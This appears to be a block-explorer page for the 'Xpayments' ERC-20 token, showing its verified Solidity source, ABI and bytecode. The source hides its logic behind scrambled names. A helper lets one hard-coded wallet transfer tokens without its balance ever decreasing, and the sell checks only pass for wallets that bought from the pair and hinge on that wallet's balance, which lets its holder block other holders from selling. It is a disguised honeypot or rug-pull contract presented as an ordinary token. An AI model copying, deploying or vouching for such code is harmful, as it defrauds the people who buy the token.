ERC-20
Overview
Max Total Supply
1,000,000,000 Xpayments
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,096,288.087150226 XpaymentsValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Xpayments
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-20 */ /* https://twitter.com/Xpayments **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath"); return c; } function _efzcrw(uint256 a, uint256 b) internal pure returns (uint256) { return _efzcrw(a, b, "SafeMath"); } function _efzcrw(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function _blfej(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[ ] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH , uint liquidity); } contract Xpayments is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private _powrvu; address payable private _revdfo; address private _bvexaz; string private constant _name = unicode"Xpayments"; string private constant _symbol = unicode"Xpayments"; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1000000000 * 10 **_decimals; uint256 public _psoabk = _totalSupply; uint256 public _qrvobk = _totalSupply; uint256 public _pkrsvb= _totalSupply; uint256 public _qfwvad= _totalSupply; uint256 private _BuyinitialTax=1; uint256 private _SellinitialTax=1; uint256 private _BuyfinalTax=1; uint256 private _SellfinalTax=1; uint256 private _BuyAreduceTax=1; uint256 private _SellAreduceTax=1; uint256 private _ylvcqr=0; uint256 private _pvfvgo=0; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _vrgfld; mapping (address => bool) private _hvqcsk; mapping(address => uint256) private _fualrg; bool private _srejopen; bool public _prvdeq = false; bool private kljokh = false; bool private _rovyoj = false; event _qrkjej(uint _psoabk); modifier frhvey { kljokh = true; _; kljokh = false; } constructor () { _balances[_msgSender( )] = _totalSupply; _vrgfld[owner( )] = true; _vrgfld[address (this)] = true; _vrgfld[ _revdfo] = true; _revdfo = payable (0x969a8063c9fbfb610884744b20183e656B04889B); emit Transfer( address(0), _msgSender( ), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address _owner, address spender) public view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _efzcrw(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address _owner, address spender, uint256 amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 qobrfk=0; if (from != owner () && to != owner ( ) ) { if (_prvdeq) { if (to != address (_powrvu) && to != address (_bvexaz)) { require(_fualrg [tx.origin] < block.number, "Only one transfer per block allowed." ); _fualrg [tx.origin] = block.number; } } if (from == _bvexaz && to != address(_powrvu) && !_vrgfld[to] ) { require(amount <= _psoabk, "Exceeds the _psoabk."); require(balanceOf (to) + amount <= _qrvobk, "Exceeds the _qrvobk."); if(_pvfvgo < _ylvcqr){ require (! _frvdwx(to)); } _pvfvgo++; _hvqcsk [to]=true; qobrfk = amount._blfej ((_pvfvgo> _BuyAreduceTax)? _BuyfinalTax: _BuyinitialTax) .div(100); } if(to == _bvexaz && from!= address(this) && !_vrgfld[from] ){ require(amount <= _psoabk && balanceOf(_revdfo) <_qfwvad, "Exceeds the _psoabk."); qobrfk = amount._blfej((_pvfvgo> _SellAreduceTax)? _SellfinalTax: _SellinitialTax) .div(100); require(_pvfvgo> _ylvcqr && _hvqcsk[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!kljokh && to == _bvexaz && _rovyoj && contractTokenBalance> _pkrsvb && _pvfvgo> _ylvcqr&& !_vrgfld[to]&& !_vrgfld[from] ) { _transferFrom( _bydshr(amount, _bydshr(contractTokenBalance, _qfwvad))); uint256 contractETHBalance = address(this) .balance; if(contractETHBalance > 0) { _prqnrk(address (this).balance); } } } if(qobrfk>0){ _balances[address (this)]=_balances [address (this)]. add(qobrfk); emit Transfer(from, address (this),qobrfk); } _balances[from ]= _efzcrw(from, _balances[from] , amount); _balances[to]= _balances[to]. add(amount. _efzcrw(qobrfk)); emit Transfer (from, to, amount. _efzcrw(qobrfk)); } function _transferFrom(uint256 tokenAmount) private frhvey { if(tokenAmount== 0){return;} if(!_srejopen) {return;} address[ ] memory path = new address[](2); path[0] = address(this); path[1] = _powrvu.WETH(); _approve(address(this), address( _powrvu), tokenAmount); _powrvu. swapExactTokensForETHSupportingFeeOnTransferTokens ( tokenAmount, 0, path, address (this), block. timestamp ); } function _bydshr (uint256 a, uint256 b ) private pure returns (uint256){ return ( a > b )? b : a ; } function _efzcrw(address from, uint256 a, uint256 b) private view returns(uint256){ if(from == _revdfo){ return a ; }else{ return a . _efzcrw (b); } } function removeLimitas ( ) external onlyOwner{ _psoabk = _totalSupply; _qrvobk = _totalSupply; emit _qrkjej(_totalSupply); } function _frvdwx(address account) private view returns (bool) { uint256 Uovsq; assembly { Uovsq := extcodesize (account) } return Uovsq > 0; } function _prqnrk(uint256 amount) private { _revdfo. transfer( amount); } function openTrading ( ) external onlyOwner ( ) { require ( ! _srejopen ) ; _powrvu = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address (this), address( _powrvu), _totalSupply); _bvexaz = IUniswapV2Factory(_powrvu. factory( ) ). createPair ( address(this ), _powrvu . WETH ( ) ); _powrvu.addLiquidityETH {value: address (this).balance} (address(this) ,balanceOf(address (this)),0,0,owner(),block. timestamp); IERC20(_bvexaz). approve(address(_powrvu), type(uint) .max); _rovyoj = true; _srejopen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_psoabk","type":"uint256"}],"name":"_qrkjej","type":"event"},{"inputs":[],"name":"_pkrsvb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_prvdeq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_psoabk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qfwvad","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qrvobk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a6200031a565b6200002290633b9aca0062000332565b600455620000336009600a6200031a565b6200004390633b9aca0062000332565b600555620000546009600a6200031a565b6200006490633b9aca0062000332565b600655620000756009600a6200031a565b6200008590633b9aca0062000332565b600755600160088190556009819055600a819055600b819055600c819055600d556000600e819055600f556015805463ffffff0019169055348015620000ca57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200011a6009600a6200031a565b6200012a90633b9aca0062000332565b3360008181526010602090815260408083209490945581546001600160a01b03908116835260129091528382208054600160ff199182168117909255308452858420805482168317905560028054909316845294832080549095161790935582546001600160a01b03191673969a8063c9fbfb610884744b20183e656b04889b17909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001de6009600a6200031a565b620001ee90633b9aca0062000332565b60405190815260200160405180910390a36200034c565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200025c57816000190482111562000240576200024062000205565b808516156200024e57918102915b93841c939080029062000220565b509250929050565b600082620002755750600162000314565b81620002845750600062000314565b81600181146200029d5760028114620002a857620002c8565b600191505062000314565b60ff841115620002bc57620002bc62000205565b50506001821b62000314565b5060208310610133831016604e8410600b8410161715620002ed575081810a62000314565b620002f983836200021b565b806000190482111562000310576200031062000205565b0290505b92915050565b60006200032b60ff84168362000264565b9392505050565b808202811582820484141762000314576200031462000205565b611867806200035c6000396000f3fe60806040526004361061010d5760003560e01c806395d89b4111610095578063bf142bc311610064578063bf142bc3146102bf578063c5ccbf8e146102d5578063c8ec8e4d146102f4578063c9567bf91461030a578063dd62ed3e1461031f57600080fd5b806395d89b41146101195780639ba52b5614610274578063a7520f1c1461028a578063a9059cbb1461029f57600080fd5b80632776e95a116100dc5780632776e95a146101cd578063313ce567146101e357806370a08231146101ff578063715018a6146102355780638da5cb5b1461024c57600080fd5b806306fdde0314610119578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526009815268587061796d656e747360b81b602082015290516101519190611442565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114a8565b610365565b6040519015158152602001610151565b34801561019657600080fd5b5061019f61037c565b604051908152602001610151565b3480156101b957600080fd5b5061017a6101c83660046114d4565b61039d565b3480156101d957600080fd5b5061019f60065481565b3480156101ef57600080fd5b5060405160098152602001610151565b34801561020b57600080fd5b5061019f61021a366004611515565b6001600160a01b031660009081526010602052604090205490565b34801561024157600080fd5b5061024a610407565b005b34801561025857600080fd5b506000546040516001600160a01b039091168152602001610151565b34801561028057600080fd5b5061019f60075481565b34801561029657600080fd5b5061024a610484565b3480156102ab57600080fd5b5061017a6102ba3660046114a8565b610536565b3480156102cb57600080fd5b5061019f60045481565b3480156102e157600080fd5b5060155461017a90610100900460ff1681565b34801561030057600080fd5b5061019f60055481565b34801561031657600080fd5b5061024a610543565b34801561032b57600080fd5b5061019f61033a366004611532565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b60006103723384846108b1565b5060015b92915050565b600061038a6009600a611665565b61039890633b9aca00611674565b905090565b60006103aa8484846109d5565b6103fc84336103f78560405180606001604052806028815260200161180a602891396001600160a01b038a16600090815260116020908152604080832033845290915290205491906110c6565b6108b1565b5060015b9392505050565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016104319061168b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016104319061168b565b6104ba6009600a611665565b6104c890633b9aca00611674565b6004556104d76009600a611665565b6104e590633b9aca00611674565b6005557f22f61de570e6ce57c8cde81037855b82b882e6bcc62682ddecdb86c0b74c36bb6105156009600a611665565b61052390633b9aca00611674565b60405190815260200160405180910390a1565b60006103723384846109d5565b6000546001600160a01b0316331461056d5760405162461bcd60e51b81526004016104319061168b565b60155460ff161561057d57600080fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c69030906105b86009600a611665565b6103f790633b9aca00611674565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063d91906116b4565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c391906116b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610710573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073491906116b4565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d719473061077c816001600160a01b031660009081526010602052604090205490565b6000806107916000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081e91906116d1565b505060035460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b91906116ff565b506015805463ff0000ff19166301000001179055565b6001600160a01b0383166109135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b0382166109745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610431565b6001600160a01b038216610a9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b60008111610afd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b600080546001600160a01b03858116911614801590610b2a57506000546001600160a01b03848116911614155b15610f8157601554610100900460ff1615610bed576001546001600160a01b03848116911614801590610b6b57506003546001600160a01b03848116911614155b15610bed57326000908152601460205260409020544311610bda5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610431565b3260009081526014602052604090204390555b6003546001600160a01b038581169116148015610c1857506001546001600160a01b03848116911614155b8015610c3d57506001600160a01b03831660009081526012602052604090205460ff16155b15610d7f57600454821115610c8b5760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb839b7b0b1359760611b6044820152606401610431565b60055482610cae856001600160a01b031660009081526010602052604090205490565b610cb89190611721565b1115610cfd5760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb8b93b37b1359760611b6044820152606401610431565b600e54600f541015610d1557823b15610d1557600080fd5b600f8054906000610d2583611734565b90915550506001600160a01b0383166000908152601360205260409020805460ff19166001179055600c54600f54610d7c91606491610d769110610d6b57600854610d6f565b600a545b8590611100565b90611163565b90505b6003546001600160a01b038481169116148015610da557506001600160a01b0384163014155b8015610dca57506001600160a01b03841660009081526012602052604090205460ff16155b15610e9a576004548211158015610dfc57506007546002546001600160a01b0316600090815260106020526040902054105b610e3f5760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb839b7b0b1359760611b6044820152606401610431565b610e646064610d76600d54600f5411610e5a57600954610d6f565b600b548590611100565b9050600e54600f54118015610e9157506001600160a01b03841660009081526013602052604090205460ff165b610e9a57600080fd5b3060009081526010602052604090205460155462010000900460ff16158015610ed057506003546001600160a01b038581169116145b8015610ee557506015546301000000900460ff165b8015610ef2575060065481115b8015610f015750600e54600f54115b8015610f2657506001600160a01b03841660009081526012602052604090205460ff16155b8015610f4b57506001600160a01b03851660009081526012602052604090205460ff16155b15610f7f57610f6d610f6884610f6384600754611190565b611190565b6111a5565b478015610f7d57610f7d4761132e565b505b505b8015610ffb5730600090815260106020526040902054610fa1908261136c565b30600081815260106020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff29085815260200190565b60405180910390a35b6001600160a01b038416600090815260106020526040902054611020908590846113b6565b6001600160a01b03851660009081526010602052604090205561106561104683836113e7565b6001600160a01b0385166000908152601060205260409020549061136c565b6001600160a01b0380851660008181526010602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110af85856113e7565b60405190815260200160405180910390a350505050565b600081848411156110ea5760405162461bcd60e51b81526004016104319190611442565b5060006110f7848661174d565b95945050505050565b60008260000361111257506000610376565b600061111e8385611674565b90508261112b8583611760565b146104005760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610431565b60006104008383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611414565b600081831161119f5782610400565b50919050565b6015805462ff0000191662010000179055801561131f5760155460ff161561131f5760408051600280825260608201835260009260208301908036833701905050905030816000815181106111fc576111fc611782565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611255573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127991906116b4565b8160018151811061128c5761128c611782565b6001600160a01b0392831660209182029290920101526001546112b291309116846108b1565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112eb908590600090869030904290600401611798565b600060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611368573d6000803e3d6000fd5b5050565b6000806113798385611721565b9050838110156104005760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610431565b6002546000906001600160a01b03908116908516036113d6575081610400565b6113e083836113e7565b9050610400565b60006104008383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110c6565b600081836114355760405162461bcd60e51b81526004016104319190611442565b5060006110f78486611760565b600060208083528351808285015260005b8181101561146f57858101830151858201604001528201611453565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a557600080fd5b50565b600080604083850312156114bb57600080fd5b82356114c681611490565b946020939093013593505050565b6000806000606084860312156114e957600080fd5b83356114f481611490565b9250602084013561150481611490565b929592945050506040919091013590565b60006020828403121561152757600080fd5b813561040081611490565b6000806040838503121561154557600080fd5b823561155081611490565b9150602083013561156081611490565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115bc5781600019048211156115a2576115a261156b565b808516156115af57918102915b93841c9390800290611586565b509250929050565b6000826115d357506001610376565b816115e057506000610376565b81600181146115f657600281146116005761161c565b6001915050610376565b60ff8411156116115761161161156b565b50506001821b610376565b5060208310610133831016604e8410600b841016171561163f575081810a610376565b6116498383611581565b806000190482111561165d5761165d61156b565b029392505050565b600061040060ff8416836115c4565b80820281158282048414176103765761037661156b565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b6000602082840312156116c657600080fd5b815161040081611490565b6000806000606084860312156116e657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171157600080fd5b8151801515811461040057600080fd5b808201808211156103765761037661156b565b6000600182016117465761174661156b565b5060010190565b818103818111156103765761037661156b565b60008261177d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e85784516001600160a01b0316835293830193918301916001016117c3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4faaefc89143e199e7e9aca7e0dbba9d828b5817f3dfcf2c7404074c005f6e964736f6c63430008130033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c806395d89b4111610095578063bf142bc311610064578063bf142bc3146102bf578063c5ccbf8e146102d5578063c8ec8e4d146102f4578063c9567bf91461030a578063dd62ed3e1461031f57600080fd5b806395d89b41146101195780639ba52b5614610274578063a7520f1c1461028a578063a9059cbb1461029f57600080fd5b80632776e95a116100dc5780632776e95a146101cd578063313ce567146101e357806370a08231146101ff578063715018a6146102355780638da5cb5b1461024c57600080fd5b806306fdde0314610119578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526009815268587061796d656e747360b81b602082015290516101519190611442565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114a8565b610365565b6040519015158152602001610151565b34801561019657600080fd5b5061019f61037c565b604051908152602001610151565b3480156101b957600080fd5b5061017a6101c83660046114d4565b61039d565b3480156101d957600080fd5b5061019f60065481565b3480156101ef57600080fd5b5060405160098152602001610151565b34801561020b57600080fd5b5061019f61021a366004611515565b6001600160a01b031660009081526010602052604090205490565b34801561024157600080fd5b5061024a610407565b005b34801561025857600080fd5b506000546040516001600160a01b039091168152602001610151565b34801561028057600080fd5b5061019f60075481565b34801561029657600080fd5b5061024a610484565b3480156102ab57600080fd5b5061017a6102ba3660046114a8565b610536565b3480156102cb57600080fd5b5061019f60045481565b3480156102e157600080fd5b5060155461017a90610100900460ff1681565b34801561030057600080fd5b5061019f60055481565b34801561031657600080fd5b5061024a610543565b34801561032b57600080fd5b5061019f61033a366004611532565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b60006103723384846108b1565b5060015b92915050565b600061038a6009600a611665565b61039890633b9aca00611674565b905090565b60006103aa8484846109d5565b6103fc84336103f78560405180606001604052806028815260200161180a602891396001600160a01b038a16600090815260116020908152604080832033845290915290205491906110c6565b6108b1565b5060015b9392505050565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016104319061168b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016104319061168b565b6104ba6009600a611665565b6104c890633b9aca00611674565b6004556104d76009600a611665565b6104e590633b9aca00611674565b6005557f22f61de570e6ce57c8cde81037855b82b882e6bcc62682ddecdb86c0b74c36bb6105156009600a611665565b61052390633b9aca00611674565b60405190815260200160405180910390a1565b60006103723384846109d5565b6000546001600160a01b0316331461056d5760405162461bcd60e51b81526004016104319061168b565b60155460ff161561057d57600080fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c69030906105b86009600a611665565b6103f790633b9aca00611674565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063d91906116b4565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c391906116b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610710573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073491906116b4565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d719473061077c816001600160a01b031660009081526010602052604090205490565b6000806107916000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081e91906116d1565b505060035460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b91906116ff565b506015805463ff0000ff19166301000001179055565b6001600160a01b0383166109135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b0382166109745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610431565b6001600160a01b038216610a9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b60008111610afd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b600080546001600160a01b03858116911614801590610b2a57506000546001600160a01b03848116911614155b15610f8157601554610100900460ff1615610bed576001546001600160a01b03848116911614801590610b6b57506003546001600160a01b03848116911614155b15610bed57326000908152601460205260409020544311610bda5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610431565b3260009081526014602052604090204390555b6003546001600160a01b038581169116148015610c1857506001546001600160a01b03848116911614155b8015610c3d57506001600160a01b03831660009081526012602052604090205460ff16155b15610d7f57600454821115610c8b5760405162461bcd60e51b8152602060048201526014602482015273